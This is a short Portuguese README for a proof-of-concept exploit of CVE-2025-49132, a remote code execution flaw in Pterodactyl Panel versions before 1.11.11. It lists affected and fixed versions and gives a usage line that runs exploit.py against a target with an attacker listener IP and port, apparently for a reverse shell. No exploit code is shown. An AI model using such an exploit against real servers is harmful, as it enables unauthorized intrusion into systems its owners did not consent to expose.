CVE-2025-49132 PoC por Pwndalf

Visão Geral

Este repositório contém uma Prova de Conceito (PoC) para CVE-2025-49132, uma vulnerabilidade de Execução Remota de Código (RCE) que afeta o Pterodactyl Panel < 1.11.11 Este PoC foi desenvolvido e testado em um ambiente de laboratório controlado para fins de pesquisa e educação.

Versões Afetadas

• Versões do Pterodactyl Panel anteriores a 1.11.11

Versão Corrigida

• Pterodactyl Panel 1.11.11 e posteriores

Resumo Técnico

A vulnerabilidade origina-se da validação insuficiente de entrada controlada pelo usuário em um manipulador de requisições, o que permite interação não intencional com o backend. Sob certas condições, isso pode levar à execução remota de comandos.

Requisitos

• Python 3.8+
• Um ouvinte TCP

Uso

python3 exploit.py -t <target> -l <listener_ip> -p <listener_port>